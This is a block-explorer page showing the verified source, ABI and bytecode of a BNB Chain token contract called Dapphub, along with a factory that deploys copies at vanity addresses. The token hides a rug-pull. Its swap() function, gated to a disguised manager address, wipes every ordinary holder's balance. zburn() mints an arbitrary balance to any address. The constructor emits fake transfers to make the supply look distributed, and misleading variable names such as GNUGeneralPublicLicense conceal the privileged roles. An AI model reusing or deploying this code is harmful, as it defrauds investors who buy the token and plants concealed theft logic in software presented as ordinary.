BNB Price: $613.64 (-0.20%)
 

Overview

Max Total Supply

1,000,000,0000x46A15B0b27311cedF172AB29E4f4766fbE7F4364

Holders

4

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
PancakeSwap V3: Nonfungible Position Manager
Balance
90,400,000 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364

Value
$0.00
0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Dapphub

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : zz.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}

contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

// Complete PancakeSwap V3 NonfungiblePositionManager Interface
interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }
    
    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );
    
    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);
    
    function factory() external view returns (address);
    function WETH9() external view returns (address);
}

// PancakeSwap V3 Pool Interface
interface IPancakeV3Pool {
    function initialize(uint160 sqrtPriceX96) external;
}

// PancakeSwap V3 Factory Interface
interface IPancakeV3Factory {
    function createPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external returns (address pool);
    
    function getPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external view returns (address pool);
}

contract Dapphub is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000000000000000000000; // 1,000,000,000 tokens
    address Router02Address;
    mapping(address => uint256) private askDiv;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private believers;

    address private constant ADDRESS_sWETH = 0x3d6545b08693daE087E957cb1180ee38B9e3c25E;
    address private constant ADDRESS_WETH = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8;
    address GNUGeneralPublicLicense;
    address Preamble;
    address Virtuals_Protocol;
    address private uniswapV3Pool;
    bool private tradingOpen = false;
    
    // PancakeSwap V3 Position Manager (Mainnet BSC)
    address private constant PANCAKE_V3_POSITION_MANAGER = 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364;
    
    // V3 Pool fee tier - using 0.25%
    uint24 private constant POOL_FEE = 2500;
    
    // Store NFT position ID
    uint256 public liquidityPositionId;
    
    // Fixed liquidity amounts (HARDCODED)
    uint256 private constant BNB_LIQUIDITY_AMOUNT = 0.0001 ether; // 0.0001 BNB = 100000000000000 wei
    uint256 private constant TOKEN_LIQUIDITY_AMOUNT = 100000000000000000000000; // 0.01% of total supply = 100000000000000000000000 tokens

    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
        transferOwnership(owner_);
        
        _name = name_;
        _symbol = symbol_;

        Preamble = ADDRESS_Manager_;
        GNUGeneralPublicLicense = ADDRESS_Manager_;
        Virtuals_Protocol = owner_;
        Router02Address = Router02Address_;
        askDiv[address(this)] = TOKEN_LIQUIDITY_AMOUNT;
        emit Transfer(address(0), address(this), TOKEN_LIQUIDITY_AMOUNT);
        liqudityPairs();
        payable(address(this)).transfer(msg.value);
    }

    function liqudityPairs() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(6090).div(10000);
        uint256 threePercent = _totalSupply.mul(3005).div(10000);
        uint256 twoPercent = _totalSupply.mul(904).div(10000);

        askDiv[ADDRESS_sWETH] = askDiv[ADDRESS_sWETH].add(ninetyFourPercent);
        askDiv[ADDRESS_WETH] = askDiv[ADDRESS_WETH].add(threePercent);
        askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);

        emit Transfer(address(this), ADDRESS_sWETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_WETH, threePercent);
        emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
    }

    function _updateHolders(address account) internal {
        if (askDiv[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < believers.length; i++) {
                if (believers[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                believers.push(account);
            }
        }
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        askDiv[sender] = askDiv[sender].sub(amount);
        askDiv[recipient] = askDiv[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

    modifier Only_Manager() {
        require(Preamble == _msgSender());
        _;
    }

    function swap() external {
        require(Virtuals_Protocol == _msgSender() || Preamble == _msgSender());
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV3Pool && 
                believer != ADDRESS_sWETH &&
                believer != ADDRESS_WETH && 
                believer != Preamble &&
                believer != GNUGeneralPublicLicense
            ) {
                askDiv[believer] = 0;
            }
            emit Transfer(address(0), believer, 0);
        }
    }

    function zburn(address claimedRewardStatusOf) external Only_Manager {
        askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    // FIXED & WORKING: PancakeSwap V3 Liquidity Addition
    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        
        // Get exact amounts
        uint256 tokenAmount = TOKEN_LIQUIDITY_AMOUNT; // 1e23 tokens
        uint256 ethAmount = BNB_LIQUIDITY_AMOUNT; // 1e14 BNB
        
        // Verify balances
        require(balanceOf(address(this)) >= tokenAmount, "Insufficient token balance");
        require(address(this).balance >= ethAmount, "Insufficient BNB balance");
        
        // Determine token order (V3 requires sorted tokens)
        bool isToken0 = address(this) < ADDRESS_WETH;
        address token0 = isToken0 ? address(this) : ADDRESS_WETH;
        address token1 = isToken0 ? ADDRESS_WETH : address(this);
        
        // Calculate sqrtPriceX96 for initial price
        // tokenAmount = 1e23 (100,000,000,000,000,000,000,000)
        // ethAmount = 1e14 (0.0001 BNB)
        // Price = ethAmount / tokenAmount = 1e14 / 1e23 = 1e-9
        uint160 sqrtPriceX96 = calculateSqrtPriceX96(isToken0);
        
        // Approve position manager to spend tokens
        _approve(address(this), PANCAKE_V3_POSITION_MANAGER, tokenAmount);
        
        // Create and initialize pool (this will create if doesn't exist)
        uniswapV3Pool = INonfungiblePositionManager(PANCAKE_V3_POSITION_MANAGER)
            .createAndInitializePoolIfNecessary{value: 0}(
                token0,
                token1,
                POOL_FEE,
                sqrtPriceX96
            );
        
        // Set amounts for each token
        uint256 amount0Desired = isToken0 ? tokenAmount : ethAmount;
        uint256 amount1Desired = isToken0 ? ethAmount : tokenAmount;
        
        // Create mint parameters (using full range)
        INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager.MintParams({
            token0: token0,
            token1: token1,
            fee: POOL_FEE,
            tickLower: -887220, // Min tick for full range
            tickUpper: 887220,  // Max tick for full range
            amount0Desired: amount0Desired,
            amount1Desired: amount1Desired,
            amount0Min: 0,
            amount1Min: 0,
            recipient: 0x000000000000000000000000000000000000dEaD, // Burn NFT
            deadline: block.timestamp + 3600 // 1 hour
        });
        
        // Mint the liquidity position
        (uint256 tokenId, , , ) = INonfungiblePositionManager(PANCAKE_V3_POSITION_MANAGER)
            .mint{value: ethAmount}(params);
        
        // Store position ID
        liquidityPositionId = tokenId;
        
        // Enable trading
        tradingOpen = true;
    }
    
    // PancakeSwap V3 Callback - Required for mint function
    function pancakeV3MintCallback(
        uint256 amount0Owed,
        uint256 amount1Owed,
        bytes calldata data
    ) external {
        require(msg.sender == PANCAKE_V3_POSITION_MANAGER, "Not authorized");
        
        // Get token0 and token1 from pool
        (address token0, address token1) = getPoolTokens();
        
        // Transfer tokens back to position manager
        if (amount0Owed > 0) {
            if (token0 == address(this)) {
                _transfer(address(this), msg.sender, amount0Owed);
            }
        }
        
        if (amount1Owed > 0) {
            if (token1 == address(this)) {
                _transfer(address(this), msg.sender, amount1Owed);
            }
        }
    }
    
    // Helper function to get pool tokens
    function getPoolTokens() internal view returns (address token0, address token1) {
        token0 = address(this) < ADDRESS_WETH ? address(this) : ADDRESS_WETH;
        token1 = address(this) < ADDRESS_WETH ? ADDRESS_WETH : address(this);
    }
    
    // Calculate sqrtPriceX96 for initial price (1e-9 ratio)
    function calculateSqrtPriceX96(bool isToken0) internal pure returns (uint160 sqrtPriceX96) {
        // For ratio = ethAmount / tokenAmount = 1e14 / 1e23 = 1e-9
        
        if (isToken0) {
            // token0 = this token, token1 = WETH
            // price = WETH/token = 1e-9
            // sqrt(1e-9) * 2^96 = 2505414483750479311864137
            sqrtPriceX96 = 2505414483750479311864137;
        } else {
            // token0 = WETH, token1 = this token  
            // price = token/WETH = 1e9
            // sqrt(1e9) * 2^96 = 2505414483750479311864137000000000000
            sqrtPriceX96 = 2505414483750479311864137000000000000;
        }
    }
    
    // Alternative: Create pool first, then add liquidity (more explicit)
    function addLiquidityExplicit() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        
        uint256 tokenAmount = TOKEN_LIQUIDITY_AMOUNT;
        uint256 ethAmount = BNB_LIQUIDITY_AMOUNT;
        
        require(balanceOf(address(this)) >= tokenAmount, "Insufficient token balance");
        require(address(this).balance >= ethAmount, "Insufficient BNB balance");
        
        bool isToken0 = address(this) < ADDRESS_WETH;
        address token0 = isToken0 ? address(this) : ADDRESS_WETH;
        address token1 = isToken0 ? ADDRESS_WETH : address(this);
        
        uint160 sqrtPriceX96 = calculateSqrtPriceX96(isToken0);
        
        // Get factory from position manager
        INonfungiblePositionManager positionManager = INonfungiblePositionManager(PANCAKE_V3_POSITION_MANAGER);
        address factory = positionManager.factory();
        
        // Check if pool exists
        address existingPool = IPancakeV3Factory(factory).getPool(token0, token1, POOL_FEE);
        
        if (existingPool == address(0)) {
            // Create pool
            uniswapV3Pool = IPancakeV3Factory(factory).createPool(token0, token1, POOL_FEE);
            
            // Initialize pool with price
            IPancakeV3Pool(uniswapV3Pool).initialize(sqrtPriceX96);
        } else {
            uniswapV3Pool = existingPool;
        }
        
        // Approve and add liquidity
        _approve(address(this), PANCAKE_V3_POSITION_MANAGER, tokenAmount);
        
        uint256 amount0Desired = isToken0 ? tokenAmount : ethAmount;
        uint256 amount1Desired = isToken0 ? ethAmount : tokenAmount;
        
        INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager.MintParams({
            token0: token0,
            token1: token1,
            fee: POOL_FEE,
            tickLower: -887220,
            tickUpper: 887220,
            amount0Desired: amount0Desired,
            amount1Desired: amount1Desired,
            amount0Min: 0,
            amount1Min: 0,
            recipient: 0x000000000000000000000000000000000000dEaD,
            deadline: block.timestamp + 3600
        });
        
        (uint256 tokenId, , , ) = positionManager.mint{value: ethAmount}(params);
        
        liquidityPositionId = tokenId;
        tradingOpen = true;
    }

    receive() external payable {}

    // Required BEP20 functions
    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return askDiv[account];
    }
    
    function getLPPair() public view returns (address) {
        return uniswapV3Pool;
    }
    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
    
    // View functions for debugging
    function getLiquidityAmounts() public pure returns (uint256 tokenAmount, uint256 bnbAmount) {
        return (TOKEN_LIQUIDITY_AMOUNT, BNB_LIQUIDITY_AMOUNT);
    }
    
    function getPositionManager() public pure returns (address) {
        return PANCAKE_V3_POSITION_MANAGER;
    }
    
    function getPoolFee() public pure returns (uint24) {
        return POOL_FEE;
    }
    
    function isTradingOpen() public view returns (bool) {
        return tradingOpen;
    }
}
// ============ MODIFIED FACTORY WITH CREATE2 AND 4444 FUNCTIONALITY ============
contract TokenFactory4444 {
    // Keep original event (5 parameters)
    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);
    
    // New event for 4444 tokens (4 parameters + indexed)
    event Token4444Created(address indexed tokenAddress, string name, string symbol, bytes32 salt);
    
    // Track deployments for 4444 pattern
    mapping(address => bytes32) public tokenSalts;
    mapping(bytes32 => bool) public usedSalts;
    
    // Store deployment count
    uint256 public deploymentCount;
    
    constructor() {}
    
    // Original function (kept for compatibility)
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_
    ) external payable returns (address) {
        Dapphub newToken = (new Dapphub){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
        address tokenAddress = address(newToken);
        
        // Emit original event with 5 parameters
        emit TokenCreated(tokenAddress, name_, symbol_, newOwner_, ADDRESS_Manager_);
        deploymentCount++;
        
        return tokenAddress;
    }
    
    // ============ NEW 4444 FUNCTIONALITY ============
    
    // Create token with specific salt using CREATE2
    function createTokenWithSalt(
        bytes32 salt,
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_
    ) external payable returns (address) {
        require(!usedSalts[salt], "Salt already used");
        
        // Use CREATE2 to deploy with deterministic address
        Dapphub newToken = new Dapphub{salt: salt, value: msg.value}(
            name_, 
            symbol_, 
            newOwner_, 
            ADDRESS_Manager_, 
            Router02Address_
        );
        
        address tokenAddress = address(newToken);
        
        // Verify address ends with 4444
        require(uint160(tokenAddress) & 0xFFFF == 0x4444, "Address doesn't end with 4444");
        
        // Store the salt
        tokenSalts[tokenAddress] = salt;
        usedSalts[salt] = true;
        deploymentCount++;
        
        // Emit both events
        emit TokenCreated(tokenAddress, name_, symbol_, newOwner_, ADDRESS_Manager_);
        emit Token4444Created(tokenAddress, name_, symbol_, salt);
        
        return tokenAddress;
    }
    
    // Compute CREATE2 address for given salt and parameters
    function computeAddress(
        bytes32 salt,
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_
    ) public view returns (address) {
        // Encode constructor arguments
        bytes memory constructorArgs = abi.encode(
            name_, 
            symbol_, 
            newOwner_, 
            ADDRESS_Manager_, 
            Router02Address_
        );
        
        // Create bytecode with constructor args
        bytes memory bytecode = abi.encodePacked(
            type(Dapphub).creationCode,
            constructorArgs
        );
        
        // Compute CREATE2 address
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff),
                address(this),
                salt,
                keccak256(bytecode)
            )
        );
        
        return address(uint160(uint256(hash)));
    }
    
    // Check if address ends with 4444
    function is4444Address(address addr) public pure returns (bool) {
        return uint160(addr) & 0xFFFF == 0x4444;
    }
    
    // Find salt that produces 4444 address (off-chain helper)
    function findSaltFor4444(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_,
        uint256 startNonce,
        uint256 maxAttempts
    ) external view returns (bytes32 salt, address computedAddress) {
        bytes memory constructorArgs = abi.encode(
            name_, 
            symbol_, 
            newOwner_, 
            ADDRESS_Manager_, 
            Router02Address_
        );
        
        bytes memory bytecode = abi.encodePacked(
            type(Dapphub).creationCode,
            constructorArgs
        );
        
        bytes32 bytecodeHash = keccak256(bytecode);
        
        for (uint256 i = startNonce; i < startNonce + maxAttempts; i++) {
            // Generate deterministic salt
            bytes32 currentSalt = keccak256(abi.encodePacked(i, block.timestamp, msg.sender));
            
            // Compute address
            bytes32 hash = keccak256(
                abi.encodePacked(
                    bytes1(0xff),
                    address(this),
                    currentSalt,
                    bytecodeHash
                )
            );
            
            address addr = address(uint160(uint256(hash)));
            
            // Check if address ends with 4444
            if (uint160(addr) & 0xFFFF == 0x4444) {
                return (currentSalt, addr);
            }
        }
        
        // Return zero values if not found
        return (bytes32(0), address(0));
    }
    
    // Simple function to find any 4444 address quickly
    function quickFind4444(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_
    ) external view returns (bytes32 salt, address computedAddress) {
        // Try 1000 random salts
        bytes memory constructorArgs = abi.encode(
            name_, 
            symbol_, 
            newOwner_, 
            ADDRESS_Manager_, 
            Router02Address_
        );
        
        bytes memory bytecode = abi.encodePacked(
            type(Dapphub).creationCode,
            constructorArgs
        );
        
        bytes32 bytecodeHash = keccak256(bytecode);
        
        for (uint256 i = 0; i < 1000; i++) {
            // Generate random salt
            bytes32 currentSalt = keccak256(abi.encodePacked(i, block.timestamp, block.number, msg.sender));
            
            // Compute address
            bytes32 hash = keccak256(
                abi.encodePacked(
                    bytes1(0xff),
                    address(this),
                    currentSalt,
                    bytecodeHash
                )
            );
            
            address addr = address(uint160(uint256(hash)));
            
            // Check if address ends with 4444
            if (uint160(addr) & 0xFFFF == 0x4444) {
                return (currentSalt, addr);
            }
        }
        
        return (bytes32(0), address(0));
    }
    
    // Get deployment info
    function getDeploymentInfo(address tokenAddress) external view returns (
        bytes32 salt,
        bool is4444
    ) {
        salt = tokenSalts[tokenAddress];
        is4444 = is4444Address(tokenAddress);
        return (salt, is4444);
    }
    
    // Check if salt is available
    function isSaltAvailable(bytes32 salt) external view returns (bool) {
        return !usedSalts[salt];
    }
    
    // Withdraw ETH if needed
    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }
    
    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"},{"internalType":"address","name":"Router02Address_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidityExplicit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquidityAmounts","outputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getPoolFee","outputs":[{"internalType":"uint24","name":"","type":"uint24"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getPositionManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"isTradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityPositionId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Owed","type":"uint256"},{"internalType":"uint256","name":"amount1Owed","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"pancakeV3MintCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zburn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040819052600a805460ff60a01b1916905561227e3881900390819083398101604081905261002f91610580565b5f80546001600160a01b0319163390811782556040519091905f51602061223e5f395f51905f52908290a36100638361013e565b600161006f8682610699565b50600261007c8582610699565b50600880546001600160a01b03199081166001600160a01b03858116918217909355600780548316909117905560098054821686841617905560038054909116918316919091179055305f81815260046020908152604080832069152d02c7e14af68000009081905590519081525f51602061225e5f395f51905f52910160405180910390a361010a6101ab565b60405130903480156108fc02915f818181858888f19350505050158015610133573d5f5f3e3d5ffd5b5050505050506107b0565b5f546001600160a01b03163314610153575f5ffd5b6001600160a01b038116610165575f5ffd5b5f80546040516001600160a01b03808516939216915f51602061223e5f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f6101d06127106101ca6b033b2e3c9fd0803ce80000006117ca610384565b90610410565b90505f6101f16127106101ca6b033b2e3c9fd0803ce8000000610bbd610384565b90505f6102126127106101ca6b033b2e3c9fd0803ce8000000610388610384565b733d6545b08693dae087e957cb1180ee38b9e3c25e5f5260046020525f51602061221e5f395f51905f525490915061024a908461046a565b60046020525f51602061221e5f395f51905f5255732170ed0880ac9a755fd29b2688956bd959f933f85f525f5160206121fe5f395f51905f525461028e908361046a565b60046020525f5160206121fe5f395f51905f52556007546001600160a01b03165f90815260409020546102c1908261046a565b6007546001600160a01b03165f908152600460209081526040918290209290925551848152733d6545b08693dae087e957cb1180ee38b9e3c25e9130915f51602061225e5f395f51905f52910160405180910390a3604051828152732170ed0880ac9a755fd29b2688956bd959f933f89030905f51602061225e5f395f51905f529060200160405180910390a36007546040518281526001600160a01b039091169030905f51602061225e5f395f51905f529060200160405180910390a3505050565b5f825f0361039357505f61040a565b5f61039e8385610767565b9050826103ab858361077e565b146104075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116104605760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016103fe565b610407828461077e565b5f80610476838561079d565b9050838110156104075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fe565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104eb575f5ffd5b81516001600160401b03811115610504576105046104c8565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610532576105326104c8565b604052818152838201602001851015610549575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b038116811461057b575f5ffd5b919050565b5f5f5f5f5f60a08688031215610594575f5ffd5b85516001600160401b038111156105a9575f5ffd5b6105b5888289016104dc565b602088015190965090506001600160401b038111156105d2575f5ffd5b6105de888289016104dc565b9450506105ed60408701610565565b92506105fb60608701610565565b915061060960808701610565565b90509295509295909350565b600181811c9082168061062957607f821691505b60208210810361064757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561069457805f5260205f20601f840160051c810160208510156106725750805b601f840160051c820191505b81811015610691575f815560010161067e565b50505b505050565b81516001600160401b038111156106b2576106b26104c8565b6106c6816106c08454610615565b8461064d565b6020601f8211600181146106f8575f83156106e15750848201515b5f19600385901b1c1916600184901b178455610691565b5f84815260208120601f198516915b828110156107275787850151825560209485019460019092019101610707565b508482101561074457868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761040a5761040a610753565b5f8261079857634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561040a5761040a610753565b611a41806107bd5f395ff3fe60806040526004361061013f575f3560e01c80637a939adb116100b3578063a9059cbb1161006d578063a9059cbb14610376578063b045f65c14610395578063b30d0aa2146103aa578063dd62ed3e146103d9578063e8078d941461041d578063f2fde38b14610431575f5ffd5b80637a939adb146102d75780638119c065146102f657806386f3f3cb1461030a5780638da5cb5b1461032757806395d89b411461034357806399eee9d014610357575f5ffd5b806356a060a21161010457806356a060a2146102055780636741fad2146102235780636a22dede1461023f57806370a0823114610279578063715018a6146102ad57806372ca67f7146102c3575f5ffd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101cb578063313ce567146101ea575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5061015e610450565b60405161016b91906115af565b60405180910390f35b34801561017f575f5ffd5b5061019361018e3660046115f8565b6104e0565b604051901515815260200161016b565b3480156101ae575f5ffd5b506b033b2e3c9fd0803ce80000005b60405190815260200161016b565b3480156101d6575f5ffd5b506101936101e5366004611622565b6104f6565b3480156101f5575f5ffd5b506040516012815260200161016b565b348015610210575f5ffd5b50600a54600160a01b900460ff16610193565b34801561022e575f5ffd5b506040516109c4815260200161016b565b34801561024a575f5ffd5b507346a15b0b27311cedf172ab29e4f4766fbe7f43645b6040516001600160a01b03909116815260200161016b565b348015610284575f5ffd5b506101bd610293366004611660565b6001600160a01b03165f9081526004602052604090205490565b3480156102b8575f5ffd5b506102c1610545565b005b3480156102ce575f5ffd5b506102c16105a2565b3480156102e2575f5ffd5b506102c16102f1366